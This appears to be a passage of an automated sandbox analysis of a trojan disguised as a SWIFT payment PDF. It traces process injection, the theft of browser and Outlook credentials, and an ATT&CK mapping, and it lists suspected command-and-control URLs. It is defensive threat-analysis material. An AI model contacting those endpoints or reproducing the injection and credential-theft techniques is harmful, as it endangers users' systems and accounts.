Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C42840 mov ecx, dword ptr fs:[00000030h]	2_2_03C42840
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C60854 mov eax, dword ptr fs:[00000030h]	2_2_03C60854
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C34859 mov eax, dword ptr fs:[00000030h]	2_2_03C34859
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C34859 mov eax, dword ptr fs:[00000030h]	2_2_03C34859
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CBE872 mov eax, dword ptr fs:[00000030h]	2_2_03CBE872
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CBE872 mov eax, dword ptr fs:[00000030h]	2_2_03CBE872

Source: C:\Users\user\Desktop\SWIFT COPY 0028_pdf.exe

Code function: 0_2_0095A66C GetSecurityDescriptorDacl,_memset,GetAclInformation,GetLengthSid,GetAce,AddAce,GetLengthSid,GetProcessHeap,HeapAlloc,GetLengthSid,CopySid,AddAce,SetSecurityDescriptorDacl,SetUserObjectSecurity,

0_2_0095A66C

Source: C:\Users\user\Desktop\SWIFT COPY 0028_pdf.exe	Code function: 0_2_00948189 SetUnhandledExceptionFilter,		0_2_00948189
Source: C:\Users\user\Desktop\SWIFT COPY 0028_pdf.exe	Code function: 0_2_009481AC SetUnhandledExceptionFilter,UnhandledExceptionFilter,		0_2_009481AC

HIPS / PFW / Operating System Protection Evasion

Source: C:\Program Files (x86)\lzWEoypSEiiPeyaPqfIfLwioPRhNNBAASkgqzKoDrdXbbpHTVceWIdlvNEZgU\nBMWUKLuWlMJko.exe	NtResumeThread: Direct from: 0x773836AC	Jump to behavior
Source: C:\Program Files (x86)\lzWEoypSEiiPeyaPqfIfLwioPRhNNBAASkgqzKoDrdXbbpHTVceWIdlvNEZgU\nBMWUKLuWlMJko.exe	NtMapViewOfSection: Direct from: 0x77382D1C	Jump to behavior
Source: C:\Program Files (x86)\lzWEoypSEiiPeyaPqfIfLwioPRhNNBAASkgqzKoDrdXbbpHTVceWIdlvNEZgU\nBMWUKLuWlMJko.exe	NtWriteVirtualMemory: Direct from: 0x77382E3C	Jump to behavior
Source: C:\Program Files (x86)\lzWEoypSEiiPeyaPqfIfLwioPRhNNBAASkgqzKoDrdXbbpHTVceWIdlvNEZgU\nBMWUKLuWlMJko.exe	NtProtectVirtualMemory: Direct from: 0x77382F9C	Jump to behavior
Source: C:\Program Files (x86)\lzWEoypSEiiPeyaPqfIfLwioPRhNNBAASkgqzKoDrdXbbpHTVceWIdlvNEZgU\nBMWUKLuWlMJko.exe	NtSetInformationThread: Direct from: 0x773763F9	Jump to behavior
Source: C:\Program Files (x86)\lzWEoypSEiiPeyaPqfIfLwioPRhNNBAASkgqzKoDrdXbbpHTVceWIdlvNEZgU\nBMWUKLuWlMJko.exe	NtCreateMutant: Direct from: 0x773835CC	Jump to behavior
Source: C:\Program Files (x86)\lzWEoypSEiiPeyaPqfIfLwioPRhNNBAASkgqzKoDrdXbbpHTVceWIdlvNEZgU\nBMWUKLuWlMJko.exe	NtNotifyChangeKey: Direct from: 0x77383C2C	Jump to behavior
Source: C:\Program Files (x86)\lzWEoypSEiiPeyaPqfIfLwioPRhNNBAASkgqzKoDrdXbbpHTVceWIdlvNEZgU\nBMWUKLuWlMJko.exe	NtSetInformationProcess: Direct from: 0x77382C5C	Jump to behavior
Source: C:\Program Files (x86)\lzWEoypSEiiPeyaPqfIfLwioPRhNNBAASkgqzKoDrdXbbpHTVceWIdlvNEZgU\nBMWUKLuWlMJko.exe	NtCreateUserProcess: Direct from: 0x7738371C	Jump to behavior
Source: C:\Program Files (x86)\lzWEoypSEiiPeyaPqfIfLwioPRhNNBAASkgqzKoDrdXbbpHTVceWIdlvNEZgU\nBMWUKLuWlMJko.exe	NtQueryInformationProcess: Direct from: 0x77382C26	Jump to behavior
Source: C:\Program Files (x86)\lzWEoypSEiiPeyaPqfIfLwioPRhNNBAASkgqzKoDrdXbbpHTVceWIdlvNEZgU\nBMWUKLuWlMJko.exe	NtResumeThread: Direct from: 0x77382FBC	Jump to behavior
Source: C:\Program Files (x86)\lzWEoypSEiiPeyaPqfIfLwioPRhNNBAASkgqzKoDrdXbbpHTVceWIdlvNEZgU\nBMWUKLuWlMJko.exe	NtWriteVirtualMemory: Direct from: 0x7738490C	Jump to behavior
Source: C:\Program Files (x86)\lzWEoypSEiiPeyaPqfIfLwioPRhNNBAASkgqzKoDrdXbbpHTVceWIdlvNEZgU\nBMWUKLuWlMJko.exe	NtAllocateVirtualMemory: Direct from: 0x77383C9C	Jump to behavior
Source: C:\Program Files (x86)\lzWEoypSEiiPeyaPqfIfLwioPRhNNBAASkgqzKoDrdXbbpHTVceWIdlvNEZgU\nBMWUKLuWlMJko.exe	NtReadFile: Direct from: 0x77382ADC	Jump to behavior
Source: C:\Program Files (x86)\lzWEoypSEiiPeyaPqfIfLwioPRhNNBAASkgqzKoDrdXbbpHTVceWIdlvNEZgU\nBMWUKLuWlMJko.exe	NtAllocateVirtualMemory: Direct from: 0x77382BFC	Jump to behavior
Source: C:\Program Files (x86)\lzWEoypSEiiPeyaPqfIfLwioPRhNNBAASkgqzKoDrdXbbpHTVceWIdlvNEZgU\nBMWUKLuWlMJko.exe	NtDelayExecution: Direct from: 0x77382DDC	Jump to behavior
Source: C:\Program Files (x86)\lzWEoypSEiiPeyaPqfIfLwioPRhNNBAASkgqzKoDrdXbbpHTVceWIdlvNEZgU\nBMWUKLuWlMJko.exe	NtQuerySystemInformation: Direct from: 0x77382DFC	Jump to behavior
Source: C:\Program Files (x86)\lzWEoypSEiiPeyaPqfIfLwioPRhNNBAASkgqzKoDrdXbbpHTVceWIdlvNEZgU\nBMWUKLuWlMJko.exe	NtOpenSection: Direct from: 0x77382E0C	Jump to behavior
Source: C:\Program Files (x86)\lzWEoypSEiiPeyaPqfIfLwioPRhNNBAASkgqzKoDrdXbbpHTVceWIdlvNEZgU\nBMWUKLuWlMJko.exe	NtQueryVolumeInformationFile: Direct from: 0x77382F2C	Jump to behavior
Source: C:\Program Files (x86)\lzWEoypSEiiPeyaPqfIfLwioPRhNNBAASkgqzKoDrdXbbpHTVceWIdlvNEZgU\nBMWUKLuWlMJko.exe	NtQuerySystemInformation: Direct from: 0x773848CC	Jump to behavior
Source: C:\Program Files (x86)\lzWEoypSEiiPeyaPqfIfLwioPRhNNBAASkgqzKoDrdXbbpHTVceWIdlvNEZgU\nBMWUKLuWlMJko.exe	NtReadVirtualMemory: Direct from: 0x77382E8C	Jump to behavior
Source: C:\Program Files (x86)\lzWEoypSEiiPeyaPqfIfLwioPRhNNBAASkgqzKoDrdXbbpHTVceWIdlvNEZgU\nBMWUKLuWlMJko.exe	NtCreateKey: Direct from: 0x77382C6C	Jump to behavior
Source: C:\Program Files (x86)\lzWEoypSEiiPeyaPqfIfLwioPRhNNBAASkgqzKoDrdXbbpHTVceWIdlvNEZgU\nBMWUKLuWlMJko.exe	NtClose: Direct from: 0x77382B6C
Source: C:\Program Files (x86)\lzWEoypSEiiPeyaPqfIfLwioPRhNNBAASkgqzKoDrdXbbpHTVceWIdlvNEZgU\nBMWUKLuWlMJko.exe	NtAllocateVirtualMemory: Direct from: 0x773848EC	Jump to behavior
Source: C:\Program Files (x86)\lzWEoypSEiiPeyaPqfIfLwioPRhNNBAASkgqzKoDrdXbbpHTVceWIdlvNEZgU\nBMWUKLuWlMJko.exe	NtQueryAttributesFile: Direct from: 0x77382E6C	Jump to behavior
Source: C:\Program Files (x86)\lzWEoypSEiiPeyaPqfIfLwioPRhNNBAASkgqzKoDrdXbbpHTVceWIdlvNEZgU\nBMWUKLuWlMJko.exe	NtSetInformationThread: Direct from: 0x77382B4C	Jump to behavior
Source: C:\Program Files (x86)\lzWEoypSEiiPeyaPqfIfLwioPRhNNBAASkgqzKoDrdXbbpHTVceWIdlvNEZgU\nBMWUKLuWlMJko.exe	NtTerminateThread: Direct from: 0x77382FCC	Jump to behavior
Source: C:\Program Files (x86)\lzWEoypSEiiPeyaPqfIfLwioPRhNNBAASkgqzKoDrdXbbpHTVceWIdlvNEZgU\nBMWUKLuWlMJko.exe	NtQueryInformationToken: Direct from: 0x77382CAC	Jump to behavior
Source: C:\Program Files (x86)\lzWEoypSEiiPeyaPqfIfLwioPRhNNBAASkgqzKoDrdXbbpHTVceWIdlvNEZgU\nBMWUKLuWlMJko.exe	NtOpenKeyEx: Direct from: 0x77382B9C	Jump to behavior
Source: C:\Program Files (x86)\lzWEoypSEiiPeyaPqfIfLwioPRhNNBAASkgqzKoDrdXbbpHTVceWIdlvNEZgU\nBMWUKLuWlMJko.exe	NtAllocateVirtualMemory: Direct from: 0x77382BEC	Jump to behavior
Source: C:\Program Files (x86)\lzWEoypSEiiPeyaPqfIfLwioPRhNNBAASkgqzKoDrdXbbpHTVceWIdlvNEZgU\nBMWUKLuWlMJko.exe	NtDeviceIoControlFile: Direct from: 0x77382AEC	Jump to behavior
Source: C:\Program Files (x86)\lzWEoypSEiiPeyaPqfIfLwioPRhNNBAASkgqzKoDrdXbbpHTVceWIdlvNEZgU\nBMWUKLuWlMJko.exe	NtCreateFile: Direct from: 0x77382FEC	Jump to behavior
Source: C:\Program Files (x86)\lzWEoypSEiiPeyaPqfIfLwioPRhNNBAASkgqzKoDrdXbbpHTVceWIdlvNEZgU\nBMWUKLuWlMJko.exe	NtOpenFile: Direct from: 0x77382DCC	Jump to behavior
Source: C:\Program Files (x86)\lzWEoypSEiiPeyaPqfIfLwioPRhNNBAASkgqzKoDrdXbbpHTVceWIdlvNEZgU\nBMWUKLuWlMJko.exe	NtProtectVirtualMemory: Direct from: 0x77377B2E	Jump to behavior

Maps a DLL or memory area into another process

Source: C:\Users\user\Desktop\SWIFT COPY 0028_pdf.exe	Section loaded: NULL target: C:\Windows\SysWOW64\svchost.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: NULL target: C:\Program Files (x86)\lzWEoypSEiiPeyaPqfIfLwioPRhNNBAASkgqzKoDrdXbbpHTVceWIdlvNEZgU\nBMWUKLuWlMJko.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: NULL target: C:\Windows\SysWOW64\rasautou.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\rasautou.exe	Section loaded: NULL target: C:\Program Files (x86)\lzWEoypSEiiPeyaPqfIfLwioPRhNNBAASkgqzKoDrdXbbpHTVceWIdlvNEZgU\nBMWUKLuWlMJko.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\rasautou.exe	Section loaded: NULL target: C:\Program Files (x86)\lzWEoypSEiiPeyaPqfIfLwioPRhNNBAASkgqzKoDrdXbbpHTVceWIdlvNEZgU\nBMWUKLuWlMJko.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\rasautou.exe	Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\rasautou.exe	Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: execute and read and write	Jump to behavior

Modifies the context of a thread in another process (thread injection)

Source: C:\Windows\SysWOW64\rasautou.exe

Thread register set: target process: 5708

Queues an APC in another process (thread injection)

Source: C:\Windows\SysWOW64\rasautou.exe

Thread APC queued: target process: C:\Program Files (x86)\lzWEoypSEiiPeyaPqfIfLwioPRhNNBAASkgqzKoDrdXbbpHTVceWIdlvNEZgU\nBMWUKLuWlMJko.exe

Writes to foreign memory regions

Source: C:\Users\user\Desktop\SWIFT COPY 0028_pdf.exe

Memory written: C:\Windows\SysWOW64\svchost.exe base: 3062008

Source: C:\Users\user\Desktop\SWIFT COPY 0028_pdf.exe

Code function: 0_2_0095B106 LogonUserW,

0_2_0095B106

Source: C:\Users\user\Desktop\SWIFT COPY 0028_pdf.exe

Code function: 0_2_00923D19 GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,

0_2_00923D19

Source: C:\Users\user\Desktop\SWIFT COPY 0028_pdf.exe

Code function: 0_2_0096411C SendInput,keybd_event,

0_2_0096411C

Source: C:\Users\user\Desktop\SWIFT COPY 0028_pdf.exe

Code function: 0_2_009674BB mouse_event,

0_2_009674BB

Source: C:\Users\user\Desktop\SWIFT COPY 0028_pdf.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\SWIFT COPY 0028_pdf.exe"	Jump to behavior
Source: C:\Program Files (x86)\lzWEoypSEiiPeyaPqfIfLwioPRhNNBAASkgqzKoDrdXbbpHTVceWIdlvNEZgU\nBMWUKLuWlMJko.exe	Process created: C:\Windows\SysWOW64\rasautou.exe "C:\Windows\SysWOW64\rasautou.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\rasautou.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"	Jump to behavior

Source: C:\Users\user\Desktop\SWIFT COPY 0028_pdf.exe

0_2_0095A66C

Source: C:\Users\user\Desktop\SWIFT COPY 0028_pdf.exe

Code function: 0_2_009671FA AllocateAndInitializeSid,CheckTokenMembership,FreeSid,

0_2_009671FA

Source: nBMWUKLuWlMJko.exe, 00000003.00000002.4612381742.0000000000C90000.00000002.00000001.00040000.00000000.sdmp, nBMWUKLuWlMJko.exe, 00000003.00000000.2235766884.0000000000C90000.00000002.00000001.00040000.00000000.sdmp, nBMWUKLuWlMJko.exe, 00000006.00000002.4612596212.00000000017B0000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: IProgram Manager
Source: SWIFT COPY 0028_pdf.exe, nBMWUKLuWlMJko.exe, 00000003.00000002.4612381742.0000000000C90000.00000002.00000001.00040000.00000000.sdmp, nBMWUKLuWlMJko.exe, 00000003.00000000.2235766884.0000000000C90000.00000002.00000001.00040000.00000000.sdmp, nBMWUKLuWlMJko.exe, 00000006.00000002.4612596212.00000000017B0000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: nBMWUKLuWlMJko.exe, 00000003.00000002.4612381742.0000000000C90000.00000002.00000001.00040000.00000000.sdmp, nBMWUKLuWlMJko.exe, 00000003.00000000.2235766884.0000000000C90000.00000002.00000001.00040000.00000000.sdmp, nBMWUKLuWlMJko.exe, 00000006.00000002.4612596212.00000000017B0000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progman
Source: SWIFT COPY 0028_pdf.exe	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndTHISREMOVEblankinfoquestionstopwarning
Source: nBMWUKLuWlMJko.exe, 00000003.00000002.4612381742.0000000000C90000.00000002.00000001.00040000.00000000.sdmp, nBMWUKLuWlMJko.exe, 00000003.00000000.2235766884.0000000000C90000.00000002.00000001.00040000.00000000.sdmp, nBMWUKLuWlMJko.exe, 00000006.00000002.4612596212.00000000017B0000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progmanlock

Source: C:\Users\user\Desktop\SWIFT COPY 0028_pdf.exe

Code function: 0_2_009465C4 cpuid

0_2_009465C4

Source: C:\Users\user\Desktop\SWIFT COPY 0028_pdf.exe

Code function: 0_2_0097091D GetLocalTime,SystemTimeToFileTime,LocalFileTimeToFileTime,__wsplitpath,_wcscat,_wcscat,GetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,_wcscpy,SetCurrentDirectoryW,

0_2_0097091D

Source: C:\Users\user\Desktop\SWIFT COPY 0028_pdf.exe

Code function: 0_2_0099B340 GetUserNameW,

0_2_0099B340

Source: C:\Users\user\Desktop\SWIFT COPY 0028_pdf.exe

Code function: 0_2_00951E8E __lock,____lc_codepage_func,__getenv_helper_nolock,_free,_strlen,__malloc_crt,_strlen,__invoke_watson,_free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,

0_2_00951E8E

Source: C:\Users\user\Desktop\SWIFT COPY 0028_pdf.exe

Code function: 0_2_0093DDC0 GetVersionExW,GetCurrentProcess,FreeLibrary,GetNativeSystemInfo,FreeLibrary,FreeLibrary,GetSystemInfo,GetSystemInfo,

0_2_0093DDC0

Stealing of Sensitive Information

Tries to harvest and steal browser information (history, passwords, etc)

Source: Yara match	File source: 2.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000002.4613350413.0000000004B70000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2315508419.00000000049A0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.4613324935.0000000002D70000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.4613219723.0000000002D70000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.4602405101.0000000002E50000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.4613399783.0000000004BC0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2314669018.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2316526821.0000000006480000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY

Source: C:\Windows\SysWOW64\rasautou.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\rasautou.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\rasautou.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Local State	Jump to behavior
Source: C:\Windows\SysWOW64\rasautou.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Windows\SysWOW64\rasautou.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\rasautou.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\rasautou.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local State	Jump to behavior
Source: C:\Windows\SysWOW64\rasautou.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\SysWOW64\rasautou.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\

Source: SWIFT COPY 0028_pdf.exe	Binary or memory string: WIN_81
Source: SWIFT COPY 0028_pdf.exe	Binary or memory string: WIN_XP
Source: SWIFT COPY 0028_pdf.exe	Binary or memory string: %.3d%S%M%H%m%Y%jX86IA64X64WIN32_NTWIN_81WIN_2012R2WIN_2012WIN_8WIN_2008R2WIN_7WIN_2008WIN_VISTAWIN_2003WIN_XPeWIN_XPInstallLanguageSYSTEM\CurrentControlSet\Control\Nls\LanguageSchemeLangIDControl Panel\Appearance3, 3, 12, 0USERPROFILEUSERDOMAINUSERDNSDOMAINGetSystemWow64DirectoryWSeDebugPrivilege:winapistdcallubytep
Source: SWIFT COPY 0028_pdf.exe	Binary or memory string: WIN_XPe
Source: SWIFT COPY 0028_pdf.exe	Binary or memory string: WIN_VISTA
Source: SWIFT COPY 0028_pdf.exe	Binary or memory string: WIN_7
Source: SWIFT COPY 0028_pdf.exe	Binary or memory string: WIN_8

Remote Access Functionality

Source: Yara match	File source: 2.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000002.4613350413.0000000004B70000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2315508419.00000000049A0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.4613324935.0000000002D70000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.4613219723.0000000002D70000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.4602405101.0000000002E50000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.4613399783.0000000004BC0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2314669018.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2316526821.0000000006480000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY

Source: C:\Users\user\Desktop\SWIFT COPY 0028_pdf.exe	Code function: 0_2_00978C4F socket,WSAGetLastError,bind,listen,WSAGetLastError,closesocket,		0_2_00978C4F
Source: C:\Users\user\Desktop\SWIFT COPY 0028_pdf.exe	Code function: 0_2_0097923B socket,WSAGetLastError,bind,WSAGetLastError,closesocket,		0_2_0097923B

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	2 Valid Accounts	3 Native API	1 DLL Side-Loading	1 Exploitation for Privilege Escalation	1 Disable or Modify Tools	1 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	5 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	Scheduled Task/Job	2 Valid Accounts	1 Abuse Elevation Control Mechanism	1 Deobfuscate/Decode Files or Information	21 Input Capture	1 Account Discovery	Remote Desktop Protocol	1 Data from Local System	1 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	1 Abuse Elevation Control Mechanism	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	1 Email Collection	5 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	2 Valid Accounts	3 Obfuscated Files or Information	NTDS	116 System Information Discovery	Distributed Component Object Model	21 Input Capture	5 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	21 Access Token Manipulation	1 DLL Side-Loading	LSA Secrets	151 Security Software Discovery	SSH	3 Clipboard Data	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	412 Process Injection	2 Valid Accounts	Cached Domain Credentials	2 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	2 Virtualization/Sandbox Evasion	DCSync	3 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	21 Access Token Manipulation	Proc Filesystem	11 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	412 Process Injection	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
SWIFT COPY 0028_pdf.exe	39%	ReversingLabs	Win32.Trojan.AutoitInject
SWIFT COPY 0028_pdf.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
https://pepabo.com/	0%	Avira URL Cloud	safe
http://www.aiactor.xyz/g2y0/?GR54yHZ8=4J2ZucS0gmHveCLTumStwhEohSgzPPJ4W7Cx1bvPckMEbjsLQyn2mnrwN7XguYk0KfYRNkJmpBfqbfzPpDbCYGkLQdnxWLNNRJRrSDnZ+4vw6seRBsYWgxI51lS2SbfnTvxGN+Y=&9xn=fHadNpk8MVax	0%	Avira URL Cloud	safe
http://www.optimismbank.xyz/lnyv/	0%	Avira URL Cloud	safe
http://www.madhf.tech/vpqb/?GR54yHZ8=idKeckLAh2QIGB9KZJIRJS/oZMGdTwW1FjmI9FLM0wQU5zssjU3Tb8uAKfYmb7P	0%	Avira URL Cloud	safe
http://www.tempatmudisini06.click/0kli/	0%	Avira URL Cloud	safe
http://www.sankan-fukushi.info/21k5/?9xn=fHadNpk8MVax&GR54yHZ8=fWbmkZjyrmfBp888CcG5P/tv6YAygrCJWn0G2JrBW+aKnevZKbpm6U1ITTXCtKXlDFd/bcpJLIqCcWUwrjM1A7+iBUY3/A2GvnNR6vC/W+DoFDwg0HeJMbxHf0rMeHWrRIOFx4E=	0%	Avira URL Cloud	safe
http://www.a1shop.shop/0krx/	0%	Avira URL Cloud	safe
http://www.nonpressure.beauty	100%	Avira URL Cloud	malware
http://www.sitioseguro.blog/arvb/	0%	Avira URL Cloud	safe
http://www.questmatch.pro/ipd6/	0%	Avira URL Cloud	safe
http://www.sankan-fukushi.info/21k5/	0%	Avira URL Cloud	safe
http://www.housew.website/4pih/	0%	Avira URL Cloud	safe
http://www.grandesofertas.fun/5rfk/?GR54yHZ8=sD5zUlt3wbrvSr53X/LgfhW+OptFCrWooNx2zE35RlOZ6Ff5bUgKRp+BgbOlYXfZZMl91myXHSHWgEoZCPkWwn0n+VmG53SX0EAb83CrCeMIkzMnSL4JpBihhagjpE3GksySBz8=&9xn=fHadNpk8MVax	0%	Avira URL Cloud	safe
http://www.callyur.shop/hayl/?GR54yHZ8=7uA1bLkCaR9ampYb6jJSXGsXTCFtFEKjMbBrHkb2OaN+7KcXsqyJMoKLTM78+R5XhUdg+bLytXUVrFAv0hUdKTwX6reWgqWzJPe83oti/Pnp22FBmmdcqVWV2wV/tDaQIoOgzZo=&9xn=fHadNpk8MVax	0%	Avira URL Cloud	safe
http://www.housew.website/4pih/?9xn=fHadNpk8MVax&GR54yHZ8=ZmPwAj1McUpIZiz0LuViOUq+B7yzDKheiuLx3j/o2iG3zDrxD498zlZSm94ILhpOzlwyZVIuLGPVSJZjqSUFLPfqxdekucT9Chqzy6Pm+Rnw0xtYs44Mkmek35mpNA+VZaQoqJ0=	0%	Avira URL Cloud	safe
http://www.grandesofertas.fun/5rfk/	0%	Avira URL Cloud	safe
http://www.callyur.shop/hayl/	0%	Avira URL Cloud	safe
http://www.nonpressure.beauty/ymqd/	100%	Avira URL Cloud	malware
http://www.nuy25c9t.sbs/lmj1/?GR54yHZ8=JytxcoExloxtM9GYw/YkVBPtQn8SsYRrRxOyYElJ8zmzZDKm1RUtP4/aN3HHeJpfiiM3EsU/TmM7ebohnljNLiPIHS/Z5elBdrknxTUpZLsvI6YW4AGk52pDe9J+i7QDvUP60yU=&9xn=fHadNpk8MVax	0%	Avira URL Cloud	safe
https://support.lolipop.jp/hc/ja/articles/360049132953	0%	Avira URL Cloud	safe
http://www.conansog.shop/m7wz/	0%	Avira URL Cloud	safe
https://kb.fastpanel.direct/troubleshoot/	0%	Avira URL Cloud	safe
http://www.sitioseguro.blog/arvb/?GR54yHZ8=ZBQQqxbud8SVIvMkbBf/fVH1me8478TvMeRY2MiH3kRRc/z7OAWaNoWdi819/s5bJQ0i5xulgwkm2DEXU68//topbf+A00Q8GVm5yCYkyRQ3ElhjsG3EX+N+jW0L22iONcil9J4=&9xn=fHadNpk8MVax	0%	Avira URL Cloud	safe
http://www.questmatch.pro/ipd6/?9xn=fHadNpk8MVax&GR54yHZ8=MAf2oATgQW2BddVfADsXf+wCIFqkr7SFGuPP0SlPqjR1OOKK8KBvL1kFaoovUHshjlod7xBKsGH7WboeoPfL5uc/jX4WzK3nYbDP1BFL1MIpigvL/S+Ybe5ZZiUbOMV88bEfnEo=	0%	Avira URL Cloud	safe
http://www.aiactor.xyz/g2y0/	0%	Avira URL Cloud	safe
http://www.a1shop.shop/0krx/?GR54yHZ8=1C2HTrEVNWyxr52SoGOxlLLcvsNBoexmdy9Nu7HdX9lR7swAMLn31GhWzX/WtioZiLgkIr1TIYTpQv4lfQ4TwNnfiM63cxzeqfNeG1D29tziIpAE2Hdr0kt8oEMtEF+W9rbw3UA=&9xn=fHadNpk8MVax	0%	Avira URL Cloud	safe
http://www.madhf.tech/vpqb/	0%	Avira URL Cloud	safe
https://minne.com/?utm_source=lolipop&utm_medium=banner&utm_campaign=synergy&utm_content=404	0%	Avira URL Cloud	safe
http://assets.lolipop.jp/img/bnr/bnr_lolipop_ad_001.gif	0%	Avira URL Cloud	safe
